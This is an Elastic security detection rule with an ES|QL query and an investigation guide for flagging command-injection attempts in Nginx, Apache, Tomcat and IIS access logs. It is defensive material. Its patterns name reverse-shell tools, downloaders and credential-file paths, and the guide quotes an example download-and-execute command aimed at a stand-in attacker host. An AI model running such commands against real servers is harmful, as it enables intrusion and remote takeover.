Web Server Potential Command Injection Request

This rule detects potential command injection attempts via web server requests by identifying URLs that contain suspicious patterns commonly associated with command execution payloads. Attackers may exploit vulnerabilities in web applications to inject and execute arbitrary commands on the server, often using interpreters like Python, Perl, Ruby, PHP, or shell commands. By monitoring for these indicators in web traffic, security teams can identify and respond to potential threats early.

Elastic rule (View on GitHub)

  1[metadata]
  2creation_date = "2025/11/19"
  3integration = ["nginx", "apache", "apache_tomcat", "iis"]
  4maturity = "production"
  5updated_date = "2025/12/01"
  6
  7[rule]
  8author = ["Elastic"]
  9description = """
 10This rule detects potential command injection attempts via web server requests by identifying URLs that contain
 11suspicious patterns commonly associated with command execution payloads. Attackers may exploit vulnerabilities in web
 12applications to inject and execute arbitrary commands on the server, often using interpreters like Python, Perl, Ruby,
 13PHP, or shell commands. By monitoring for these indicators in web traffic, security teams can identify and respond to
 14potential threats early.
 15"""
 16from = "now-9m"
 17interval = "10m"
 18language = "esql"
 19license = "Elastic License v2"
 20name = "Web Server Potential Command Injection Request"
 21note = """ ## Triage and analysis
 22
 23> **Disclaimer**:
 24> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
 25
 26### Investigating Web Server Potential Command Injection Request
 27
 28This rule flags web requests whose URLs embed command-execution payloads—interpreter flags, shell invocations, netcat reverse shells, /dev/tcp, base64, credential file paths, downloaders, and suspicious temp or cron paths. It matters because attackers use low-volume, successful (200) requests to trigger server-side command injection and gain persistence or control without obvious errors. Example: a crafted query executes bash -c 'wget http://attacker/rev.sh -O /tmp/r; chmod +x /tmp/r; /tmp/r' from the web app, yielding a 200 while dropping and running a payload.
 29
 30### Possible investigation steps
 31
 32- Pull the raw HTTP request or PCAP, repeatedly URL-decode and base64-decode parameters, and extract shell metacharacters, commands, IP:port pairs, file paths, and download URLs to infer execution intent.
 33- Time-correlate the request with host telemetry for web-server-owned child processes, file writes in /tmp, /dev/shm, or web roots, cron modifications, and new outbound connections from the same host.
 34- Pivot on the source IP and user-agent to find related requests across other hosts/endpoints, identify scan-to-exploit sequencing and success patterns, and enact blocking or rate limiting if malicious.
 35- Map the targeted route to its backend handler and review code/config to see if user input reaches exec/system/os.popen, templating/deserialization, or shell invocations, then safely reproduce in staging to validate exploitability.
 36- If the payload references external indicators, search DNS/proxy/firewall telemetry for matching egress, retrieve and analyze any downloaded artifacts, and hunt for the same indicators across the fleet.
 37
 38### False positive analysis
 39
 40- A documentation or code-rendering page that echoes command-like strings from query parameters (e.g., "bash -c", "python -c", "curl", "/etc/passwd") returns 200 while merely displaying text, so the URL contains payload keywords without any execution.
 41- A low-volume developer or QA test to a sandbox route includes path or query values like "/dev/tcp/", "nc 10.0.0.1 4444", "busybox", or "chmod +x" to validate input handling, the server returns 200 and the rule triggers despite no server-side execution path consuming those parameters.
 42
 43### Response and remediation
 44
 45- Block the offending source IPs and User-Agents at the WAF/reverse proxy, add virtual patches to drop URLs containing 'bash -c', '/dev/tcp', 'base64 -d', 'curl' or 'nc', and remove the targeted route from the load balancer until verified safe.
 46- Isolate the impacted host from the network (at minimum egress) if the web service spawns child processes like bash/sh/python -c, creates files in /tmp or /dev/shm, modifies /etc/cron.*, or opens outbound connections to an IP:port embedded in the request.
 47- Acquire volatile memory and preserve access/error logs and any downloaded script before cleanup, then terminate malicious child processes owned by nginx/httpd/tomcat/w3wp, delete dropped artifacts (e.g., /tmp/*, /dev/shm/*, suspicious files in the webroot), and revert cron/systemd or SSH key changes.
 48- Rotate credentials and tokens if /etc/passwd, /etc/shadow, or ~/.ssh paths were targeted, rebuild the host or container from a known-good image, patch the application and dependencies, and validate clean startup with outbound traffic restricted to approved destinations.
 49- Immediately escalate to the incident commander and legal/privacy if remote command execution is confirmed (evidence: web-server-owned 'bash -c' or 'python -c' executed, curl/wget download-and-execute, or reverse shell to an external IP:port) or if sensitive data exposure is suspected.
 50- Harden by enforcing strict input validation, disabling shell/exec functions in the runtime (e.g., PHP disable_functions and no shell-outs in templates), running under least privilege with noexec,nodev /tmp and a read-only webroot, restricting egress by policy, and deploying WAF rules and host sensors to detect these strings and cron/webshell creation.
 51"""
 52risk_score = 21
 53rule_id = "f3ac6734-7e52-4a0d-90b7-6847bf4308f2"
 54severity = "low"
 55tags = [
 56    "Domain: Web",
 57    "Use Case: Threat Detection",
 58    "Tactic: Reconnaissance",
 59    "Tactic: Persistence",
 60    "Tactic: Execution",
 61    "Tactic: Credential Access",
 62    "Tactic: Command and Control",
 63    "Data Source: Nginx",
 64    "Data Source: Apache",
 65    "Data Source: Apache Tomcat",
 66    "Data Source: IIS",
 67    "Resources: Investigation Guide",
 68]
 69timestamp_override = "event.ingested"
 70type = "esql"
 71query = '''
 72from logs-nginx.access-*, logs-apache.access-*, logs-apache_tomcat.access-*, logs-iis.access-*
 73| where
 74    // Limit to 200 response code to reduce noise
 75    http.response.status_code == 200
 76
 77| eval Esql.url_original_to_lower = to_lower(url.original)
 78
 79| eval Esql.contains_interpreter = case(Esql.url_original_to_lower like "*python* -c*" or Esql.url_original_to_lower like "*perl* -e*" or Esql.url_original_to_lower like "*ruby* -e*" or Esql.url_original_to_lower like "*ruby* -rsocket*" or Esql.url_original_to_lower like "*lua* -e*" or Esql.url_original_to_lower like "*php* -r*" or Esql.url_original_to_lower like "*node* -e*", 1, 0)
 80| eval Esql.contains_shell = case(Esql.url_original_to_lower like "*/bin/bash*" or Esql.url_original_to_lower like "*bash*-c*" or Esql.url_original_to_lower like "*/bin/sh*" or Esql.url_original_to_lower rlike "*sh.{1,2}-c*", 1, 0)
 81| eval Esql.contains_nc = case(Esql.url_original_to_lower like "*netcat*" or Esql.url_original_to_lower like "*ncat*" or Esql.url_original_to_lower rlike """.*nc.{1,2}[0-9]{1,3}(\.[0-9]{1,3}){3}.{1,2}[0-9]{1,5}.*""" or Esql.url_original_to_lower like "*nc.openbsd*" or Esql.url_original_to_lower like "*nc.traditional*" or Esql.url_original_to_lower like "*socat*", 1, 0)
 82| eval Esql.contains_devtcp = case(Esql.url_original_to_lower like "*/dev/tcp/*" or Esql.url_original_to_lower like "*/dev/udp/*", 1, 0)
 83| eval Esql.contains_helpers = case((Esql.url_original_to_lower like "*/bin/*" or Esql.url_original_to_lower like "*/usr/bin/*") and (Esql.url_original_to_lower like "*mkfifo*" or Esql.url_original_to_lower like "*nohup*" or Esql.url_original_to_lower like "*setsid*" or Esql.url_original_to_lower like "*busybox*"), 1, 0)
 84| eval Esql.contains_sus_cli = case(Esql.url_original_to_lower like "*import*pty*spawn*" or Esql.url_original_to_lower like "*import*subprocess*call*" or Esql.url_original_to_lower like "*tcpsocket.new*" or Esql.url_original_to_lower like "*tcpsocket.open*" or Esql.url_original_to_lower like "*io.popen*" or Esql.url_original_to_lower like "*os.execute*" or Esql.url_original_to_lower like "*fsockopen*", 1, 0)
 85| eval Esql.contains_privileges = case(Esql.url_original_to_lower like "*chmod*+x", 1, 0)
 86| eval Esql.contains_downloader = case(Esql.url_original_to_lower like "*curl *" or Esql.url_original_to_lower like "*wget *" , 1, 0)
 87| eval Esql.contains_file_read_keywords = case(Esql.url_original_to_lower like "*/etc/shadow*" or Esql.url_original_to_lower like "*/etc/passwd*" or Esql.url_original_to_lower like "*/root/.ssh/*" or Esql.url_original_to_lower like "*/home/*/.ssh/*" or Esql.url_original_to_lower like "*~/.ssh/*" or Esql.url_original_to_lower like "*/proc/self/environ*", 1, 0)
 88| eval Esql.contains_base64_cmd = case(Esql.url_original_to_lower like "*base64*-d*" or Esql.url_original_to_lower like "*echo*|*base64*", 1, 0)
 89| eval Esql.contains_suspicious_path = case(Esql.url_original_to_lower like "*/tmp/*" or Esql.url_original_to_lower like "*/var/tmp/*" or Esql.url_original_to_lower like "*/dev/shm/*" or Esql.url_original_to_lower like "*/root/*" or Esql.url_original_to_lower like "*/home/*/*" or Esql.url_original_to_lower like "*/var/www/*" or Esql.url_original_to_lower like "*/etc/cron.*/*", 1, 0)
 90
 91| eval Esql.any_payload_keyword = case(
 92    Esql.contains_interpreter == 1 or Esql.contains_shell == 1 or Esql.contains_nc == 1 or Esql.contains_devtcp == 1 or
 93    Esql.contains_helpers == 1 or Esql.contains_sus_cli == 1 or Esql.contains_privileges == 1 or Esql.contains_downloader == 1 or
 94    Esql.contains_file_read_keywords == 1 or Esql.contains_base64_cmd == 1 or Esql.contains_suspicious_path == 1, 1, 0)
 95
 96| keep
 97    @timestamp,
 98    Esql.url_original_to_lower,
 99    Esql.any_payload_keyword,
100    Esql.contains_interpreter,
101    Esql.contains_shell,
102    Esql.contains_nc,
103    Esql.contains_devtcp,
104    Esql.contains_helpers,
105    Esql.contains_sus_cli,
106    Esql.contains_privileges,
107    Esql.contains_downloader,
108    Esql.contains_file_read_keywords,
109    Esql.contains_base64_cmd,
110    Esql.contains_suspicious_path,
111    source.ip,
112    destination.ip,
113    agent.id,
114    http.request.method,
115    http.response.status_code,
116    user_agent.original,
117    host.name,
118    event.dataset
119
120| stats
121    Esql.event_count = count(),
122    Esql.url_path_count_distinct = count_distinct(Esql.url_original_to_lower),
123
124    // General fields
125
126    Esql.host_name_values = values(host.name),
127    Esql.agent_id_values = values(agent.id),
128    Esql.url_path_values = values(Esql.url_original_to_lower),
129    Esql.http.response.status_code_values = values(http.response.status_code),
130    Esql.user_agent_original_values = values(user_agent.original),
131    Esql.event_dataset_values = values(event.dataset),
132
133    // Rule Specific fields
134    Esql.any_payload_keyword_max = max(Esql.any_payload_keyword),
135    Esql.contains_interpreter_values = values(Esql.contains_interpreter),
136    Esql.contains_shell_values = values(Esql.contains_shell),
137    Esql.contains_nc_values = values(Esql.contains_nc),
138    Esql.contains_devtcp_values = values(Esql.contains_devtcp),
139    Esql.contains_helpers_values = values(Esql.contains_helpers),
140    Esql.contains_sus_cli_values = values(Esql.contains_sus_cli),
141    Esql.contains_privileges_values = values(Esql.contains_privileges),
142    Esql.contains_downloader_values = values(Esql.contains_downloader),
143    Esql.contains_file_read_keywords_values = values(Esql.contains_file_read_keywords),
144    Esql.contains_base64_cmd_values = values(Esql.contains_base64_cmd),
145    Esql.contains_suspicious_path_values = values(Esql.contains_suspicious_path)
146
147    by source.ip, agent.id
148
149| where
150    // Filter for potential command injection attempts with low event counts to reduce false positives
151    Esql.any_payload_keyword_max == 1 and Esql.event_count < 5
152'''
153
154[[rule.threat]]
155framework = "MITRE ATT&CK"
156
157[[rule.threat.technique]]
158id = "T1505"
159name = "Server Software Component"
160reference = "https://attack.mitre.org/techniques/T1505/"
161
162[[rule.threat.technique.subtechnique]]
163id = "T1505.003"
164name = "Web Shell"
165reference = "https://attack.mitre.org/techniques/T1505/003/"
166
167[rule.threat.tactic]
168id = "TA0003"
169name = "Persistence"
170reference = "https://attack.mitre.org/tactics/TA0003/"
171
172[[rule.threat]]
173framework = "MITRE ATT&CK"
174
175[[rule.threat.technique]]
176id = "T1059"
177name = "Command and Scripting Interpreter"
178reference = "https://attack.mitre.org/techniques/T1059/"
179
180[[rule.threat.technique.subtechnique]]
181id = "T1059.004"
182name = "Unix Shell"
183reference = "https://attack.mitre.org/techniques/T1059/004/"
184
185[rule.threat.tactic]
186id = "TA0002"
187name = "Execution"
188reference = "https://attack.mitre.org/tactics/TA0002/"
189
190[[rule.threat]]
191framework = "MITRE ATT&CK"
192
193[[rule.threat.technique]]
194id = "T1071"
195name = "Application Layer Protocol"
196reference = "https://attack.mitre.org/techniques/T1071/"
197
198[rule.threat.tactic]
199id = "TA0011"
200name = "Command and Control"
201reference = "https://attack.mitre.org/tactics/TA0011/"
202
203[[rule.threat]]
204framework = "MITRE ATT&CK"
205
206[[rule.threat.technique]]
207id = "T1595"
208name = "Active Scanning"
209reference = "https://attack.mitre.org/techniques/T1595/"
210
211[[rule.threat.technique.subtechnique]]
212id = "T1595.002"
213name = "Vulnerability Scanning"
214reference = "https://attack.mitre.org/techniques/T1595/002/"
215
216[[rule.threat.technique.subtechnique]]
217id = "T1595.003"
218name = "Wordlist Scanning"
219reference = "https://attack.mitre.org/techniques/T1595/003/"
220
221[rule.threat.tactic]
222id = "TA0043"
223name = "Reconnaissance"
224reference = "https://attack.mitre.org/tactics/TA0043/"

Triage and analysis

Disclaimer: This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.

Investigating Web Server Potential Command Injection Request

This rule flags web requests whose URLs embed command-execution payloads—interpreter flags, shell invocations, netcat reverse shells, /dev/tcp, base64, credential file paths, downloaders, and suspicious temp or cron paths. It matters because attackers use low-volume, successful (200) requests to trigger server-side command injection and gain persistence or control without obvious errors. Example: a crafted query executes bash -c 'wget http://attacker/rev.sh -O /tmp/r; chmod +x /tmp/r; /tmp/r' from the web app, yielding a 200 while dropping and running a payload.

Possible investigation steps

  • Pull the raw HTTP request or PCAP, repeatedly URL-decode and base64-decode parameters, and extract shell metacharacters, commands, IP:port pairs, file paths, and download URLs to infer execution intent.
  • Time-correlate the request with host telemetry for web-server-owned child processes, file writes in /tmp, /dev/shm, or web roots, cron modifications, and new outbound connections from the same host.
  • Pivot on the source IP and user-agent to find related requests across other hosts/endpoints, identify scan-to-exploit sequencing and success patterns, and enact blocking or rate limiting if malicious.
  • Map the targeted route to its backend handler and review code/config to see if user input reaches exec/system/os.popen, templating/deserialization, or shell invocations, then safely reproduce in staging to validate exploitability.
  • If the payload references external indicators, search DNS/proxy/firewall telemetry for matching egress, retrieve and analyze any downloaded artifacts, and hunt for the same indicators across the fleet.

False positive analysis

  • A documentation or code-rendering page that echoes command-like strings from query parameters (e.g., "bash -c", "python -c", "curl", "/etc/passwd") returns 200 while merely displaying text, so the URL contains payload keywords without any execution.
  • A low-volume developer or QA test to a sandbox route includes path or query values like "/dev/tcp/", "nc 10.0.0.1 4444", "busybox", or "chmod +x" to validate input handling, the server returns 200 and the rule triggers despite no server-side execution path consuming those parameters.

Response and remediation

  • Block the offending source IPs and User-Agents at the WAF/reverse proxy, add virtual patches to drop URLs containing 'bash -c', '/dev/tcp', 'base64 -d', 'curl' or 'nc', and remove the targeted route from the load balancer until verified safe.
  • Isolate the impacted host from the network (at minimum egress) if the web service spawns child processes like bash/sh/python -c, creates files in /tmp or /dev/shm, modifies /etc/cron.*, or opens outbound connections to an IP:port embedded in the request.
  • Acquire volatile memory and preserve access/error logs and any downloaded script before cleanup, then terminate malicious child processes owned by nginx/httpd/tomcat/w3wp, delete dropped artifacts (e.g., /tmp/, /dev/shm/, suspicious files in the webroot), and revert cron/systemd or SSH key changes.
  • Rotate credentials and tokens if /etc/passwd, /etc/shadow, or ~/.ssh paths were targeted, rebuild the host or container from a known-good image, patch the application and dependencies, and validate clean startup with outbound traffic restricted to approved destinations.
  • Immediately escalate to the incident commander and legal/privacy if remote command execution is confirmed (evidence: web-server-owned 'bash -c' or 'python -c' executed, curl/wget download-and-execute, or reverse shell to an external IP:port) or if sensitive data exposure is suspected.
  • Harden by enforcing strict input validation, disabling shell/exec functions in the runtime (e.g., PHP disable_functions and no shell-outs in templates), running under least privilege with noexec,nodev /tmp and a read-only webroot, restricting egress by policy, and deploying WAF rules and host sensors to detect these strings and cron/webshell creation.

Related rules

to-top